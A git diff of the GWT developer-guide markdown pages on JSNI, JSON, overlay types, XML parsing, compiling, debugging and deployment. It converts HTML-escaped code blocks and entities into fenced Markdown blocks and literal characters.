+<td>native JavaScript object, as in `return document.createElement("div")` (see notes)</td>
 </tr>
 
 <tr>
 <td>any other Java `Object` (including arrays)</td>
-<td>Java `Object` of the correct type that must have originated in Java code; Java objects cannot be constructed from &quot;thin
-air&quot; in JavaScript</td>
+<td>Java `Object` of the correct type that must have originated in Java code; Java objects cannot be constructed from "thin
+air" in JavaScript</td>
 </tr>
 </table>
 
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsJSON.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsJSON.md
index 6ca8f71..164ea7f 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsJSON.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsJSON.md
@@ -8,20 +8,20 @@
 into arrays and objects. JSON objects are simply unordered sets of name/value pairs, where the name is always a string and the value is any other valid JSON type (even another
 object). Here's an example of encoding product data in JSON:
 
-<pre class="prettyprint">
+```
 {
-  &quot;product&quot;: {
-    &quot;name&quot;: &quot;Widget&quot;,
-    &quot;company&quot;: &quot;ACME, Inc&quot;,
-    &quot;partNumber&quot;: &quot;7402-129&quot;,
-    &quot;prices&quot;: [
-      { &quot;minQty&quot;: 1, &quot;price&quot;: 12.49 },
-      { &quot;minQty&quot;: 10, &quot;price&quot;: 9.99 },
-      { &quot;minQty&quot;: 50, &quot;price&quot;: 7.99 }
+  "product": {
+    "name": "Widget",
+    "company": "ACME, Inc",
+    "partNumber": "7402-129",
+    "prices": [
+      { "minQty": 1, "price": 12.49 },
+      { "minQty": 10, "price": 9.99 },
+      { "minQty": 50, "price": 7.99 }
     ]
   }
 }
-</pre>
+```
 
 See [json.org/example.html](http://www.json.org/example.html) for more JSON examples.
 
@@ -32,17 +32,17 @@
 
 You can parse JSON Strings and convert them to a [JavaScriptObject](/javadoc/latest/com/google/gwt/core/client/JavaScriptObject.html) using [JsonUtils](http://www.gwtproject.org/javadoc/latest/com/google/gwt/core/client/JsonUtils.html).
 
-<pre class="prettyprint">
+```
 /*
  * Takes in a JSON String and evals it.
  * @param JSON String that you trust
  * @return JavaScriptObject that you can cast to an Overlay Type
  */
-public static &lt;T extends JavaScriptObject&gt T parseJson(String jsonStr)
+public static <T extends JavaScriptObject&gt T parseJson(String jsonStr)
 {
   return JsonUtils.safeEval(jsonStr);
 }
-</pre>
+```
 
 Typically, you will receive JSON data as the response text of an [HTTP request](DevGuideServerCommunication.html#DevGuideHttpRequests). Thus, you'll first have to convert
 that `String` into a Object that you can work with using a method like the one shown above. The recommended way for interacting with [JavaScriptObjects](/javadoc/latest/com/google/gwt/core/client/JavaScriptObject.html) is to use [JavaScript Overlay Types](DevGuideCodingBasicsOverlay.html).
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsOverlay.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsOverlay.md
index 80c0754..fced020 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsOverlay.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsOverlay.md
@@ -15,22 +15,22 @@
 
 ## Example: Easy, efficient JSON<a id="example-json"></a>
 
-Overlay types are easiest to understand with examples. Suppose we want to access an array of JSON objects representing a set of &quot;customer&quot; entities. The JavaScript structure
+Overlay types are easiest to understand with examples. Suppose we want to access an array of JSON objects representing a set of "customer" entities. The JavaScript structure
 might look like this:
 
-<pre class="prettyprint">
+```
 var jsonData = [
-  { &quot;FirstName&quot; : &quot;Jimmy&quot;, &quot;LastName&quot; : &quot;Webber&quot; },
-  { &quot;FirstName&quot; : &quot;Alan&quot;,  &quot;LastName&quot; : &quot;Dayal&quot; },
-  { &quot;FirstName&quot; : &quot;Keanu&quot;, &quot;LastName&quot; : &quot;Spoon&quot; },
-  { &quot;FirstName&quot; : &quot;Emily&quot;, &quot;LastName&quot; : &quot;Rudnick&quot; }
+  { "FirstName" : "Jimmy", "LastName" : "Webber" },
+  { "FirstName" : "Alan",  "LastName" : "Dayal" },
+  { "FirstName" : "Keanu", "LastName" : "Spoon" },
+  { "FirstName" : "Emily", "LastName" : "Rudnick" }
 ];
-</pre>
+```
 
 To superimpose a Java type onto the above structure, you start by subclassing `JavaScriptObject`, a marker type that GWT uses to denote JavaScript objects. Let's go
 ahead and add some getters, too.
 
-<pre class="prettyprint">
+```
 // An overlay type
 class Customer extends JavaScriptObject {
 
@@ -43,10 +43,10 @@
 
   // Note, though, that methods aren't required to be JSNI
   public final String getFullName() {
-    return getFirstName() + &quot; &quot; + getLastName();
+    return getFirstName() + " " + getLastName();
   }
 }
-</pre>
+```
 
 GWT will now understand that any instance of `Customer` is actually a true JavaScript object that comes from outside your GWT module. This has useful implications. For
 example, notice the `this` reference inside `getFirstName()` and `getLastName()`. That `this` is truly the identity of the JavaScript object, so you
@@ -55,12 +55,12 @@
 So, how do you actually get a JavaScript object on which to overlay a Java type? You can't construct it by writing `new Customer()` because the whole point is to
 _overlay_ a Java type onto an _already existing_ JavaScript object. Thus, we have to get such an object from the wild using JSNI:
 
-<pre class="prettyprint">
+```
 class MyModuleEntryPoint implements EntryPoint {
   public void onModuleLoad() {
     Customer c = getFirstCustomer();
     // Yay! Now I have a JS object that appears to be a Customer
-    Window.alert(&quot;Hello, &quot; + c.getFirstName());
+    Window.alert("Hello, " + c.getFirstName());
   }
 
   // Use JSNI to grab the JSON object we care about
@@ -71,7 +71,7 @@
     return $wnd.jsonData[0];
   }-*/;
 }
-</pre>
+```
 
 Let's clarify what we've done here. We've taken a plain-old-JSON-object (POJSONO, anyone? no?) and created a normal-looking Java type that can be used to interact with it
 within your GWT code. You get code completion, refactoring, and compile-time checking as you would with any Java code. Yet, you have the flexibility of interacting with arbitrary
@@ -93,7 +93,7 @@
 
 Starting with GWT 2.0, it is permissible for JavaScriptObject subtypes to implement interfaces.  Every method defined in an interface may map to at most one method declared in a JavaScriptObject subtype.  Practically speaking, this means that only one JavaScriptObject type may implement any given interface, but any number of non-JavaScriptObject types may also implement that interface.
 
-<pre class="prettyprint">
+```
 interface Person {
   String getName();
 }
@@ -132,7 +132,7 @@
     ...
   }
 }
-</pre>
+```
 
 In the above example, the `Person.getName()` will be mapped to `PersonJso.getName()`.  Because JavaScriptObject methods must be final, subclasses of `PersonJso` are allowed since they cannot override `getName()`. It would be an error to declare `class SomeOtherJso extends JavaScriptObject implements Person{}` because JavaScriptObjects have no type information at runtime, so  `Person.getName()` could not be unambiguously dispatched.
 
@@ -141,58 +141,58 @@
 We glossed over something in the example above. The method `getFirstCustomer()` is pretty unrealistic. You're certainly going to want to be able to access the entire
 array of customers. Thus, we need an overlay type representing the JavaScript array itself. Fortunately, that's easy:
 
-<pre class="prettyprint">
+```
 // w00t! Generics work just fine with overlay types
-class JsArray&lt;E extends JavaScriptObject&gt; extends JavaScriptObject {
+class JsArray<E extends JavaScriptObject> extends JavaScriptObject {
   protected JsArray() { }
   public final native int length() /*-{ return this.length; }-*/;
   public final native E get(int i) /*-{ return this[i];     }-*/;
 }
-</pre>
+```
 
 Now we can write more interesting code:
 
-<pre class="prettyprint">
+```
 class MyModuleEntryPoint implements EntryPoint {
   public void onModuleLoad() {
-    JsArray&lt;Customer&gt; cs = getCustomers();
-    for (int i = 0, n = cs.length(); i &lt; n; ++i) {
-      Window.alert(&quot;Hello, &quot; + cs.get(i).getFullName());
+    JsArray<Customer> cs = getCustomers();
+    for (int i = 0, n = cs.length(); i < n; ++i) {
+      Window.alert("Hello, " + cs.get(i).getFullName());
     }
   }
 
   // Return the whole JSON array, as is
-  private final native JsArray&lt;Customer&gt; getCustomers() /*-{
+  private final native JsArray<Customer> getCustomers() /*-{
     return $wnd.jsonData;
   }-*/;
 }
-</pre>
+```
 
 This is nice clean code, especially considering the flexibility of the plumbing it's built upon. As hinted at earlier, the compiler can do pretty fancy stuff to make this quite
 efficient. Take a look at the unobfuscated compiled output for the `onModuleLoad()` method:
 
-<pre class="prettyprint">
+```
 function $onModuleLoad(){
   var cs, i, n;
   cs = $wnd.jsonData;
-  for (i = 0, n = cs.length; i &lt; n; ++i) {
+  for (i = 0, n = cs.length; i < n; ++i) {
     $wnd.alert('Hello, ' + (cs[i].FirstName + ' ' + cs[i].LastName));
   }
 }
-</pre>
+```
 
-This is pretty darn optimized. Even the overhead of the `getFullName()` method went away. In fact, _all_ of the Java method calls went away. When we say that &quot;GWT
-gives you affordable abstractions,&quot; this is the kind of thing we're talking about. Not only does inlined code run significantly faster, we no longer had to include the function
+This is pretty darn optimized. Even the overhead of the `getFullName()` method went away. In fact, _all_ of the Java method calls went away. When we say that "GWT
+gives you affordable abstractions," this is the kind of thing we're talking about. Not only does inlined code run significantly faster, we no longer had to include the function
 definitions themselves, thus shrinking the script a litte, too. (To be fair, though, inlining can also easily increase script size, so we're careful to strike a balance between
 size and speed.) It's pretty fun to look back at the original Java source above and try to reason about the sequence of optimizations the compiler had to perform to end up
 here.
 
 Of course, we can't resist showing you the corresponding obfuscated code:
 
-<pre class="prettyprint">
-function B(){var a,b,c;a=$wnd.jsonData;for(b=0,c=a.length;b&lt;c;++b){
+```
+function B(){var a,b,c;a=$wnd.jsonData;for(b=0,c=a.length;b<c;++b){
   $wnd.alert(l+(a[b].FirstName+m+a[b].LastName))}}
-</pre>
+```
 
 Notice in this version that the only bits that _aren't_ obfuscated are the identifiers that originated in JavaScript, such as `FirstName`, `LastName`,
 `jsonData`, etc. That's why, although GWT strives to make it easy to do lots of JavaScript interop, we try hard to persuade people to write as much of their code as
diff --git a/src/main/markdown/doc/latest/DevGuideCodingBasicsXML.md b/src/main/markdown/doc/latest/DevGuideCodingBasicsXML.md
index 819b9b5..a4b30b2 100644
--- a/src/main/markdown/doc/latest/DevGuideCodingBasicsXML.md
+++ b/src/main/markdown/doc/latest/DevGuideCodingBasicsXML.md
@@ -10,57 +10,57 @@
 
 ## XML types<a id="types"></a>
 
-The XML types provided by GWT can be found in the [com.google.gwt.xml.client](/javadoc/latest/com/google/gwt/xml/client/package-summary.html) package. In order to use these in your application, you'll need to add the following `&lt;inherits&gt;` tag to your [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml):
+The XML types provided by GWT can be found in the [com.google.gwt.xml.client](/javadoc/latest/com/google/gwt/xml/client/package-summary.html) package. In order to use these in your application, you'll need to add the following `<inherits>` tag to your [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml):
 
-<pre class="prettyprint">
-&lt;inherits name=&quot;com.google.gwt.xml.XML&quot; /&gt;
-</pre>
+```
+<inherits name="com.google.gwt.xml.XML" />
+```
 
 ## Parsing XML<a id="parsing"></a>
 
 To demonstrate how to parse XML with GWT, we'll use the following XML document that contains an email message:
 
-<pre class="prettyprint">
-&lt;?xml version=&quot;1.0&quot; ?&gt;
-&lt;message&gt;
-  &lt;header&gt;
-    &lt;to displayName=&quot;Richard&quot; address=&quot;rick@school.edu&quot; /&gt;
-    &lt;from displayName=&quot;Joyce&quot; address=&quot;joyce@website.com&quot; /&gt;
-    &lt;sent&gt;2007-05-12T12:03:55Z&lt;/sent&gt;
-    &lt;subject&gt;Re: Flight info&lt;/subject&gt;
-  &lt;/header&gt;
-  &lt;body&gt;I'll pick you up at the airport at 8:30.  See you then!&lt;/body&gt;
-&lt;/message&gt;
-</pre>
+```
+<?xml version="1.0" ?>
+<message>
+  <header>
+    <to displayName="Richard" address="rick@school.edu" />
+    <from displayName="Joyce" address="joyce@website.com" />
+    <sent>2007-05-12T12:03:55Z</sent>
+    <subject>Re: Flight info</subject>
+  </header>
+  <body>I'll pick you up at the airport at 8:30.  See you then!</body>
+</message>
+```
 
 Suppose that you're writing an email application and need to extract the name of the sender, the subject line, and the message body from the XML. Here is sample code that will
 do just that (we'll explain the code in just a bit):
 
-<pre class="prettyprint">
+```
 private void parseMessage(String messageXml) {
   try {
     // parse the XML document into a DOM
     Document messageDom = XMLParser.parse(messageXml);
 
-    // find the sender's display name in an attribute of the &lt;from&gt; tag
-    Node fromNode = messageDom.getElementsByTagName(&quot;from&quot;).item(0);
-    String from = ((Element)fromNode).getAttribute(&quot;displayName&quot;);
+    // find the sender's display name in an attribute of the <from> tag
+    Node fromNode = messageDom.getElementsByTagName("from").item(0);
+    String from = ((Element)fromNode).getAttribute("displayName");
     fromLabel.setText(from);
 
     // get the subject using Node's getNodeValue() function
-    String subject = messageDom.getElementsByTagName(&quot;subject&quot;).item(0).getFirstChild().getNodeValue();
+    String subject = messageDom.getElementsByTagName("subject").item(0).getFirstChild().getNodeValue();
     subjectLabel.setText(subject);
 
     // get the message body by explicitly casting to a Text node
-    Text bodyNode = (Text)messageDom.getElementsByTagName(&quot;body&quot;).item(0).getFirstChild();
+    Text bodyNode = (Text)messageDom.getElementsByTagName("body").item(0).getFirstChild();
     String body = bodyNode.getData();
     bodyLabel.setText(body);
 
   } catch (DOMException e) {
-    Window.alert(&quot;Could not parse XML document.&quot;);
+    Window.alert("Could not parse XML document.");
   }
 }
-</pre>
+```
 
 The first step is to parse the raw XML text into an [XML DOM](http://www.w3schools.com/dom/default.asp) structure we can use to navigate the data.
 GWT's XML parser is contained in the [XMLParser](/javadoc/latest/com/google/gwt/xml/client/XMLParser.html)
@@ -70,13 +70,13 @@
 If parsing succeeds, the Document object we receive represents the XML document in memory. It is a tree composed of generic [Node](/javadoc/latest/com/google/gwt/xml/client/Node.html) objects. A node in the XML DOM is the basic unit of
 data in an XML document. GWT contains several subinterfaces of Node which provide specialized methods for processing the various types of nodes:
 
-*   [Element](/javadoc/latest/com/google/gwt/xml/client/Element.html) - represents DOM elements, which are specified by tags in XML: `&lt;someElement&gt;&lt;/someElement&gt;`.
+*   [Element](/javadoc/latest/com/google/gwt/xml/client/Element.html) - represents DOM elements, which are specified by tags in XML: `<someElement></someElement>`.
 
-*   [Text](/javadoc/latest/com/google/gwt/xml/client/Text.html) - represents the text between the opening and closing tag of an element: `&lt;someElement&gt;Here is some text.&lt;/someElement&gt;`.
+*   [Text](/javadoc/latest/com/google/gwt/xml/client/Text.html) - represents the text between the opening and closing tag of an element: `<someElement>Here is some text.</someElement>`.
 
-*   [Comment](/javadoc/latest/com/google/gwt/xml/client/Comment.html) - represents an XML comment: `&lt;!-- notes about this data --&gt;`.
+*   [Comment](/javadoc/latest/com/google/gwt/xml/client/Comment.html) - represents an XML comment: `<!-- notes about this data -->`.
 
-*   [Attr](/javadoc/latest/com/google/gwt/xml/client/Attr.html) - represents an attribute of an element: `&lt;someElement myAttribute=&quot;123&quot; /&gt;`.
+*   [Attr](/javadoc/latest/com/google/gwt/xml/client/Attr.html) - represents an attribute of an element: `<someElement myAttribute="123" />`.
 
 Refer to the documentation for the [Node](/javadoc/latest/com/google/gwt/xml/client/Node.html) interface for
 a complete list of types that derive from Node.
@@ -92,9 +92,9 @@
 of elements will be returned in the form of a [NodeList](/javadoc/latest/com/google/gwt/xml/client/NodeList.html) object, which can be iterated over to get the individual Nodes it contains.
 
 In the example code, we use the getElementsByTagName(String) method to retrieve the necessary elements from the XML containing the email message. The sender's name is stored as
-an attribute of the `&lt;from&gt;` tag, so we use [getAttribute(String)](/javadoc/latest/com/google/gwt/xml/client/Element.html#getAttribute(java.lang.String)). The
-subject line is stored as text inside the `&lt;subject&gt;` tag, so we first find the subject element, and then retrieve its first (and only) child node and call [getNodeValue()](/javadoc/latest/com/google/gwt/xml/client/Node.html#getNodeValue()) on it to get the text.
-Finally, the message body is stored in the same way (text within the `&lt;body&gt;` tag), but this time we explicitly cast the [Node](/javadoc/latest/com/google/gwt/xml/client/Node.html) to a [Text](/javadoc/latest/com/google/gwt/xml/client/Text.html) object and extract the text using [getData()](/javadoc/latest/com/google/gwt/xml/client/CharacterData.html#getData()).
+an attribute of the `<from>` tag, so we use [getAttribute(String)](/javadoc/latest/com/google/gwt/xml/client/Element.html#getAttribute(java.lang.String)). The
+subject line is stored as text inside the `<subject>` tag, so we first find the subject element, and then retrieve its first (and only) child node and call [getNodeValue()](/javadoc/latest/com/google/gwt/xml/client/Node.html#getNodeValue()) on it to get the text.
+Finally, the message body is stored in the same way (text within the `<body>` tag), but this time we explicitly cast the [Node](/javadoc/latest/com/google/gwt/xml/client/Node.html) to a [Text](/javadoc/latest/com/google/gwt/xml/client/Text.html) object and extract the text using [getData()](/javadoc/latest/com/google/gwt/xml/client/CharacterData.html#getData()).
 
 ## Building an XML document<a id="building"></a>
 
diff --git a/src/main/markdown/doc/latest/DevGuideCompilingAndDebugging.md b/src/main/markdown/doc/latest/DevGuideCompilingAndDebugging.md
index 904494f..a23f091 100644
--- a/src/main/markdown/doc/latest/DevGuideCompilingAndDebugging.md
+++ b/src/main/markdown/doc/latest/DevGuideCompilingAndDebugging.md
@@ -42,7 +42,7 @@
 to connect to a browser window. This means that the debugging facilities of
 your IDE are available to debug both your client-side GWT code and any
 server-side Java code as well. By remaining in this traditional
-&quot;code-test-debug&quot; cycle, development mode is by far the most
+"code-test-debug" cycle, development mode is by far the most
 productive way to develop your application quickly.
 
 A typical development mode session can be seen below:
@@ -55,7 +55,7 @@
 devmode`, assuming you have an Ant `build.xml` file generated by
 webAppCreator.
 
-**Tip:** If you are using Eclipse, you can instead run the `&lt;app&gt;.launch` configuration file created by webAppCreator using the Run or Debug
+**Tip:** If you are using Eclipse, you can instead run the `<app>.launch` configuration file created by webAppCreator using the Run or Debug
 menus.
 
 If you didn't use webAppCreator, you can manually run the main class in
@@ -85,8 +85,8 @@
 project's war directory.
 
 You can disable this internal server by passing the `-noserver`
-option to development mode and instead run your own external server. See FAQ [&quot;How do I use my own server in
-development mode instead of GWT's built-in server?&quot;](#How_do_I_use_my_own_server_in_development_mode_instead_of_GWT)
+option to development mode and instead run your own external server. See FAQ ["How do I use my own server in
+development mode instead of GWT's built-in server?"](#How_do_I_use_my_own_server_in_development_mode_instead_of_GWT)
 
 ### Launching a Browser<a id="launching_a_browser"></a>
 
@@ -155,21 +155,21 @@
 results in a debug message displaying on the log window whenever the user
 clicks the button.
 
-<pre class="prettyprint">
-   import com.google.gwt.core.client.GWT;
+```
+import com.google.gwt.core.client.GWT;
 
    ...
 
    button.addClickHandler(new ClickHandler() {
       public void onClick(ClickEvent event) {
-        GWT.log(&quot;User Pressed a button.&quot;, null); // Added debugging message
-        if (label.getText().equals(&quot;&quot;))
-          label.setText(&quot;Hello World!&quot;);
+        GWT.log("User Pressed a button.", null); // Added debugging message
+        if (label.getText().equals(""))
+          label.setText("Hello World!");
         else
-          label.setText(&quot;&quot;);
+          label.setText("");
       }
     });
-</pre>
+```
 
 [![DevelopmentShell2](images/DevelopmentShell2.png)](images/DevelopmentShell2.png)
 
@@ -178,12 +178,12 @@
 the following change to the onClick() method intended to intentionally trigger
 an exception:
 
-<pre class="prettyprint">
-  public void onClick(Widget sender) {
-        GWT.log(&quot;User pressed a button.&quot;, null);
+```
+public void onClick(Widget sender) {
+        GWT.log("User pressed a button.", null);
         Object nullObject = null;
         nullObject.toString(); // Should cause NullPointerException
-</pre>
+```
 
 When the application encounters an exception, a message is printed on the
 module's log window. The exception is highlighted with a red icon. In this
@@ -223,28 +223,28 @@
 class `com.google.com.gwt.dev.DevMode`. If you look inside a generated
 ant `build.xml`, you'll find something like this:
 
-<pre class="prettyprint">
-&lt;target name=&quot;devmode&quot; depends=&quot;javac&quot; description=&quot;Run development mode&quot;&gt;
-  &lt;java failonerror=&quot;true&quot; fork=&quot;true&quot; classname=&quot;com.google.gwt.dev.DevMode&quot;&gt;
-    &lt;classpath&gt;
-      &lt;pathelement location=&quot;src&quot;/&gt;
-      &lt;path refid=&quot;project.class.path&quot;/&gt;
-    &lt;/classpath&gt;
-    &lt;jvmarg value=&quot;-Xmx256M&quot;/&gt;
-    &lt;arg value=&quot;-startupUrl&quot;/&gt;
-    &lt;arg value=&quot;Hello.html&quot;/&gt;
-    &lt;!-- Additional arguments like -style PRETTY or -logLevel DEBUG --&gt;
-    &lt;arg value=&quot;com.google.gwt.sample.hello.Hello&quot;/&gt;
-  &lt;/java&gt;
-&lt;/target&gt;
-</pre>
+```
+<target name="devmode" depends="javac" description="Run development mode">
+  <java failonerror="true" fork="true" classname="com.google.gwt.dev.DevMode">
+    <classpath>
+      <pathelement location="src"/>
+      <path refid="project.class.path"/>
+    </classpath>
+    <jvmarg value="-Xmx256M"/>
+    <arg value="-startupUrl"/>
+    <arg value="Hello.html"/>
+    <!-- Additional arguments like -style PRETTY or -logLevel DEBUG -->
+    <arg value="com.google.gwt.sample.hello.Hello"/>
+  </java>
+</target>
+```
 
 This is similar to running the following command on the command line:
 
-<pre class="prettyprint">
-java -Xmx256M -cp &quot;src;war/WEB-INF/classes;\gwt-2.0.0\gwt-user.jar;\gwt-2.0.0\gwt-dev.jar&quot;
+```
+java -Xmx256M -cp "src;war/WEB-INF/classes;\gwt-2.0.0\gwt-user.jar;\gwt-2.0.0\gwt-dev.jar"
   com.google.gwt.dev.DevMode -startupUrl Hello.html com.google.gwt.sample.hello.Hello
-</pre>
+```
 
 The `-startupUrl` parameter tells Development Mode which URL(s) to
 make available for launching. If the value excludes the domain, the domain is
@@ -263,7 +263,7 @@
 Typically, if your code runs as intended in development mode and compiles to JavaScript without error, production mode behavior will be equivalent. Occasional different problems can cause
 subtle bugs to appear in production mode that don't appear in development mode. Fortunately those cases are rare.
 
-A [full list of known language-related &quot;gotchas&quot;](DevGuideCodingBasicsCompatibility.html) is available in the GWT documentation.
+A [full list of known language-related "gotchas"](DevGuideCodingBasicsCompatibility.html) is available in the GWT documentation.
 
 ### Using EJBs in development mode<a id="How_do_I_use_EJBs_in_development_mode?"></a>
 
@@ -301,7 +301,7 @@
     *   Add the `-noserver` command line argument.
     *   Change the URL at the end of the argument list to match the URL you recorded in step #1.
 4.  Compile your application once using the ant build target.  Ideally, you can use GWT's -war option to generate output files directly into your
-external server's static content folder.  Otherwise, you'll need to copy the GWT output folder from `war/&lt;moduleName&gt;` to your external server's
+external server's static content folder.  Otherwise, you'll need to copy the GWT output folder from `war/<moduleName>` to your external server's
 static content.
 
 Be careful not to omit copying the files in Step #4: This is an action you'll only have to do once, but is a necessary step. However, one important point to note is that
@@ -311,7 +311,7 @@
 
 There are many options you can pass to the development mode process to control how you want to start up the development mode browser. These options can differ slightly from version to version, but will generally include the options shown in the command-line help text below:
 
-<pre>
+```
 $ java -cp gwt-dev.jar com.google.gwt.dev.DevMode
 Missing required argument 'module[s]'
 <b>Google Web Toolkit 2.6.1</b>
@@ -336,7 +336,7 @@
   -sourceLevel      Specifies Java source level (defaults to auto:1.7)
 and 
   module[s]         Specifies the name(s) of the module(s) to host
-</pre>
+```
 
 Any time you want to look up the development mode options available for your version of GWT, you can simply invoke the DevMode class from command-line as shown above and it will list out the options available along with their descriptions.  (Run the command from the directory containing `gwt-dev.jar` or add the path ahead of that file: `-cp _path_/gwt-dev.jar`.)
 
@@ -407,8 +407,8 @@
 Once compilation completes sucessfully, directories will be created containing the JavaScript implementation of your project. The compiler will create one directory for each
 module it compiles.
 
-<pre>
-C:\gwt-2.6.1\samples\Hello&gt;ant
+```
+C:\gwt-2.6.1\samples\Hello>ant
 Buildfile: build.xml
 
 libs:
@@ -427,12 +427,12 @@
 
 BUILD SUCCESSFUL
 Total time: 22 seconds
-</pre>
+```
 
 After running the GWT compiler your war directory should look something like this:
 
-<pre>
-C:\gwt-2.6.1\samples\Hello&gt;\bin\find war
+```
+C:\gwt-2.6.1\samples\Hello>\bin\find war
 war
 war\hello
 war\hello\18EEC2DA45CB5F0C2050E2539AE61FCE.cache.html
@@ -449,14 +449,14 @@
 war\hello\hello.nocache.js
 war\hello\hosted.html
 war\Hello.html
-</pre>
+```
 
 In the above example, `war/hello/hello.nocache.js` is the script you would include in a host HTML page to load the Hello application. In this case, the host HTML page is
 located at `war/Hello.html` and loads the GWT startup script through the relative URL `hello/hello.nocache.js`.
 
 You may have noticed in the compilation target in the build.xml file generated by the webAppCreator uses the war output directory as both an input and output source. This doesn't have to be the case, and you can easily configure the war directory as the output directory only, while using other directories as source directory paths by adding build targets to copy static resources from the source to the final output directory. See this [war directory FAQ](FAQ_DebuggingAndCompiling.html#Is_the_war_directory_used_by_GWT_compiler_for_both_input_and_output) for more details.
 
-<p>The other thing you may have noticed is that there are a number of other files generated along with the GWT compiler output. Of these there are a few that are key to [deploying your application](DevGuideDeploying.html).
+The other thing you may have noticed is that there are a number of other files generated along with the GWT compiler output. Of these there are a few that are key to [deploying your application](DevGuideDeploying.html).
 
 ### Key application files<a id="key_application_files"></a>
 
@@ -470,22 +470,22 @@
 
 The [host HTML page](DevGuideOrganizingProjects.html#DevGuideHostPage) is the first page your clients should visit when they browse to your application and is also where the rest of your application files are loaded from. To load your application, the host HTML page must contain a `<script>` tag referencing your GWT application bootstrap file (described below). You would typically include a `<link>` tag referencing your application CSS file as well, unless you inject the stylesheet directly by adding the `<stylesheet>` tag to your module XML file.
 
-You could also load the script from anywhere else in a website, but the default start page is typically the entry point that developers use to load their GWT applications. The host page from the Hello starter sample application mentioned above is shown below.</p>
+You could also load the script from anywhere else in a website, but the default start page is typically the entry point that developers use to load their GWT applications. The host page from the Hello starter sample application mentioned above is shown below.
 
-<pre class="prettyprint">
-&lt;html&gt;
-  &lt;head&gt;
-    &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot;&gt;
-    &lt;link type=&quot;text/css&quot; rel=&quot;stylesheet&quot; href=&quot;Hello.css&quot;&gt;
-    &lt;title&gt;&lt;/title&gt;
-  &lt;/head&gt;
-  &lt;body&gt;
+```
+<html>
+  <head>
+    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
+    <link type="text/css" rel="stylesheet" href="Hello.css">
+    <title></title>
+  </head>
+  <body>
 
-&lt;script type=&quot;text/javascript&quot; language='javascript' src='hello/hello.nocache.js'&gt;&lt;/script&gt;
-    &lt;!-- Along with page title and table headers defined --&gt;
-  &lt;/body&gt;
-&lt;/html&gt;
-</pre>
+<script type="text/javascript" language='javascript' src='hello/hello.nocache.js'></script>
+    <!-- Along with page title and table headers defined -->
+  </body>
+</html>
+```
 
 <dt>The Bootstrap File</dt>
 
@@ -509,30 +509,30 @@
 
 ### Perfect Caching<a id="perfect_caching"></a>
 
-Among other optimization and performance improvement techniques, GWT also offers the concept of &quot;Perfect Caching&quot;, which you can take advantage of if you deploy your application correctly.
+Among other optimization and performance improvement techniques, GWT also offers the concept of "Perfect Caching", which you can take advantage of if you deploy your application correctly.
 
 You may have noticed that the bootstrap script filename contains a `.nocache.js` suffix, whereas the rest of the GWT application files contain a `.cache.html` suffix. These are meant as indicators that you can use to configure your web server to implement perfect caching. The bootstrap script is named after a well-known application name (`<app_name>.nocache.js`), while the GWT application files all contain md5 sums in their names. Those md5 sums are computed from your GWT codebase at the time of compilation. The bootstrap script contains a lookup table that selects the right `<md5>.cache.html` file when your client first visits your site and loads up your GWT application. The bootstrap process is explained in greater detail [here](DevGuideOrganizingProjects.html#DevGuideBootstrap).
 
 The fact that the application filenames will always change if your codebase changes means that your clients can safely cache these resources and don't need to refetch the GWT application files each time they visit your site. The resource that should never be completely cached (an If-Modified-Since fetch is sufficient and saves bandwidth) is the bootstrap script, since it contains the logic necessary to lookup the correct application file. If you were to configure these rules on an Apache HTTP server, you might get something like this in your `.htaccess` config file, using both mod_expires and mod_headers:
 
-<pre class="prettyprint">
-&lt;Files *.nocache.*&gt;
+```
+<Files *.nocache.*>
   ExpiresActive on
-  ExpiresDefault &quot;now&quot;
+  ExpiresDefault "now"
   Header merge Cache-Control "public, max-age=0, must-revalidate"
-&lt;/Files&gt;
+</Files>
 
-&lt;Files *.cache.*&gt;
+<Files *.cache.*>
   ExpiresActive on
-  ExpiresDefault &quot;now plus 1 year&quot;
-&lt;/Files&gt;
-</pre>
+  ExpiresDefault "now plus 1 year"
+</Files>
+```
 
 ### GWT Compiler Options<a id="DevGuideCompilerOptions"></a>
 
 There are many options you can pass to the GWT compiler process to control how you want to compile your GWT application and where you want the output to be generated. These options can differ slightly from version to version, but will generally include the options shown in the command-line help text below:
 
-<pre>
+```
 java -cp gwt-dev.jar com.google.gwt.dev.Compiler
 Missing required argument 'module[s]'
 <b>Google Web Toolkit 2.6.1</b>
@@ -564,6 +564,6 @@
   -saveSourceOutput             Overrides where source files useful to debuggers will be written. Default: saved with extras.
 and 
   module[s]                     Specifies the name(s) of the module(s) to compile
-</pre>
+```
 
 Any time you want to look up GWT compiler options available for your version of GWT, you can simply invoke the Compiler class from command-line as shown above and it will list out the options available along with their descriptions.  (Run the command from the directory containing `gwt-dev.jar` or add the path ahead of that file: `-cp _path_/gwt-dev.jar`.)
diff --git a/src/main/markdown/doc/latest/DevGuideDeploying.md b/src/main/markdown/doc/latest/DevGuideDeploying.md
index 9d88370..6731a46 100644
--- a/src/main/markdown/doc/latest/DevGuideDeploying.md
+++ b/src/main/markdown/doc/latest/DevGuideDeploying.md
@@ -12,9 +12,9 @@
 ## Deploying on a web server<a id="DevGuideDeployingWebServer"></a>
 
 Deploying a GWT application to a web server is straightforward. All you need to do is copy the [generated GWT application files](DevGuideCompilingAndDebugging.html#DevGuideJavaToJavaScriptCompiler) after compilation and host them on your web server. You will also need to setup your server-side code, of course, and this setup can take on a number of different forms: communicating through [JSONP](/javadoc/latest/com/google/gwt/jsonp/client/JsonpRequestBuilder.html)
-and [working with JSON data](DevGuideCodingBasics.html#DevGuideJSON), server-side scripts that receive and parse HTTP requests sent through the GWT [RequestBuilder](/javadoc/latest/com/google/gwt/http/client/RequestBuilder.html), or GWT RPC (see [&quot;Deploying on a servlet container using RPC&quot;](#DevGuideDeployingServletContainerUsingRPC) section below).
